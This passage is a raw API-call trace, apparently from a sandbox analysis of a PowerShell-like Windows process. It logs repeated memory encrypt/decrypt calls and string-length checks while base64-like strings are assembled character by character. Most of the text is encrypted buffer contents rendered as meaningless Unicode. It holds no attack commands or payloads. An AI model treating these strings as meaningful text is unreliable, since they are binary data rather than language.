0x20 [0262.428] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.429] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsse绖豑۹䄯Ჾ") returned 0x20 [0262.429] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.429] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅䵝ዙ⏗쩦凂ߴ䲥̅") returned 0x20 [0262.429] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅䵝ዙ⏗쩦凂ߴ䲥̅") returned 0x20 [0262.429] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.429] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsseo绖豑۹䄯Ჾ") returned 0x20 [0262.429] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.429] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅ᯰﻼ疃ゎ\蓚∆) returned 0x20 [0262.429] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅ᯰﻼ疃ゎ\蓚∆) returned 0x20 [0262.429] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.429] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsseoB豑۹䄯Ჾ") returned 0x20 [0262.429] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.429] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅䏓\瓜렄痻㳎쵐≮) returned 0x20 [0262.430] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅䏓\瓜렄痻㳎쵐≮) returned 0x20 [0262.430] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.430] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsseoB1۹䄯Ჾ") returned 0x20 [0262.430] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.430] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅䌨蹙岮≊ꔵ") returned 0x20 [0262.430] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅䌨蹙岮≊ꔵ") returned 0x20 [0262.430] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.430] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsseoB1C䄯Ჾ") returned 0x20 [0262.430] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.430] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅ᆡ㒩燬븺") returned 0x20 [0262.430] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅ᆡ㒩燬븺") returned 0x20 [0262.430] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.430] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsseoB1C2Ჾ") returned 0x20 [0262.430] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.431] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅ꠐ䳟垓瘞ⅱ") returned 0x20 [0262.431] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅ꠐ䳟垓瘞ⅱ") returned 0x20 [0262.431] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.431] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsseoB1C2Q") returned 0x20 [0262.431] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.431] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬") returned 0x20 [0262.431] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬") returned 0x20 [0262.431] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬") returned 0x20 [0262.432] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬") returned 0x28 [0262.432] SystemFunction041 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.432] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsseoB1C2Qf뿶逘흫꼄ᣄ늸狗") returned 0x28 [0262.432] SystemFunction040 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.432] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬喆埄쵂㬁뉤间") returned 0x28 [0262.432] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬喆埄쵂㬁뉤间") returned 0x28 [0262.432] SystemFunction041 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.432] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsseoB1C2Qf5逘흫꼄ᣄ늸狗") returned 0x28 [0262.432] SystemFunction040 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.432] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬앯ຸ钘潒쨴볒刱") returned 0x28 [0262.432] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬앯ຸ钘潒쨴볒刱") returned 0x28 [0262.432] SystemFunction041 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.433] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsseoB1C2Qf5d흫꼄ᣄ늸狗") returned 0x28 [0262.433] SystemFunction040 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.433] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬班퇢ꘓ봰戇繭㠶") returned 0x28 [0262.433] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬班퇢ꘓ봰戇繭㠶") returned 0x28 [0262.433] SystemFunction041 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.433] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsseoB1C2Qf5dH꼄ᣄ늸狗") returned 0x28 [0262.433] SystemFunction040 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.433] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬咽꿥ᔱ懥䧨鈻쫞괎") returned 0x28 [0262.433] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬咽꿥ᔱ懥䧨鈻쫞괎") returned 0x28 [0262.433] SystemFunction041 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.433] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsseoB1C2Qf5dHQᣄ늸狗") returned 0x28 [0262.433] SystemFunction040 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.433] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬ꡃ麅Ê嚔髰Լ∪") returned 0x28 [0262.434] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬ꡃ麅Ê嚔髰Լ∪") returned 0x28 [0262.434] SystemFunction041 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.434] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsseoB1C2Qf5dHQj늸狗") returned 0x28 [0262.434] SystemFunction040 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.434] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬꽩뾟둖蠳瘖䈪뉧") returned 0x28 [0262.434] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬꽩뾟둖蠳瘖䈪뉧") returned 0x28 [0262.434] SystemFunction041 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.434] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsseoB1C2Qf5dHQju狗") returned 0x28 [0262.434] SystemFunction040 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.434] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬ж覽﬊諭큲戗闠") returned 0x28 [0262.434] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬ж覽﬊諭큲戗闠") returned 0x28 [0262.434] SystemFunction041 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.434] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsseoB1C2Qf5dHQjuA") returned 0x28 [0262.435] SystemFunction040 (in: Memory=0x3afec4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afec4) returned 0x0 [0262.435] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬ᴦ墔侵魊ࠌ\⋝) returned 0x28 [0262.435] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬ᴦ墔侵魊ࠌ\⋝) returned 0x28 [0262.435] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬ᴦ墔侵魊ࠌ\⋝) returned 0x28 [0262.435] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬ᴦ墔侵魊ࠌ\⋝) returned 0x30 [0262.435] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0262.435] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsseoB1C2Qf5dHQjuA6△麹쑚ⴵ筿ღ") returned 0x30 [0262.435] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0262.436] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬ᴦ墔侵魊ࠌ\∾ﴯꉴ埌珣≵) returned 0x30 [0262.436] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬ᴦ墔侵魊ࠌ\∾ﴯꉴ埌珣≵) returned 0x30 [0262.436] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0262.436] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsseoB1C2Qf5dHQjuA6t麹쑚ⴵ筿ღ") returned 0x30 [0262.436] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0262.436] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬ᴦ墔侵魊ࠌ\껝᪁堫ꖆ왻껮帠⊊) returned 0x30 [0262.436] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬ᴦ墔侵魊ࠌ\껝᪁堫ꖆ왻껮帠⊊) returned 0x30 [0262.436] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0262.436] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsseoB1C2Qf5dHQjuA6tI쑚ⴵ筿ღ") returned 0x30 [0262.436] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0262.436] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬ᴦ墔侵魊ࠌ\짝辋샶䭓咓睂ꏵ鄽≀) returned 0x30 [0262.436] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬ᴦ墔侵魊ࠌ\짝辋샶䭓咓睂ꏵ鄽≀) returned 0x30 [0262.436] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0262.437] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTsseoB1C2Qf5dHQjuA6tI=쑚ⴵ筿ღ") returned 0x30 [0262.437] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0262.437] EtwEventActivityIdControl () returned 0x0 [0262.437] EtwEventActivityIdControl () returned 0x0 [0262.437] EtwEventActivityIdControl () returned 0x0 [0262.437] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.438] EtwEventActivityIdControl () returned 0x0 [0262.438] EtwEventActivityIdControl () returned 0x0 [0262.438] EtwEventActivityIdControl () returned 0x0 [0262.439] SysStringLen (param_1="") returned 0x8 [0262.439] SysStringLen (param_1="N") returned 0x8 [0262.439] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.439] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0262.439] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0262.439] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.439] SysStringLen (param_1="ND") returned 0x8 [0262.439] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.439] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0262.439] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0262.439] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.439] SysStringLen (param_1="NDZ") returned 0x8 [0262.439] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.440] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0262.440] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0262.440] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.440] SysStringLen (param_1="NDZl") returned 0x8 [0262.440] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.440] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0262.440] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0262.440] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.440] SysStringLen (param_1="NDZlO") returned 0x8 [0262.440] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.440] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0262.440] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0262.440] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.440] SysStringLen (param_1="NDZlOD") returned 0x8 [0262.441] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.441] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0262.441] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0262.441] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.441] SysStringLen (param_1="NDZlODR") returned 0x8 [0262.441] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.441] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0262.441] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0262.441] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.441] SysStringLen (param_1="NDZlODRm") returned 0x8 [0262.441] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.441] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0262.442] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0262.442] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0262.442] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0262.442] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.442] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0262.442] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.442] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0262.442] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0262.443] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.443] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0262.443] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.443] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0262.443] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0262.443] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.443] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0262.443] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.443] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0262.443] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0262.443] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.443] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0262.443] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.444] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0262.444] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0262.444] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.446] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0262.446] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.446] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0262.446] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0262.446] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.446] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0262.446] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.446] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0262.446] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0262.446] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.446] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0262.446] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.447] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0262.447] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0262.447] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.447] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0262.447] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.447] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0262.447] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0262.447] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0262.448] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0262.448] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.448] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0262.448] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.448] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0262.448] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0262.448] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.448] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0262.448] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.448] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0262.448] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0262.449] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.449] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0262.449] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.449] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0262.449] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0262.449] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.449] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0262.449] SystemFunction040 (in: 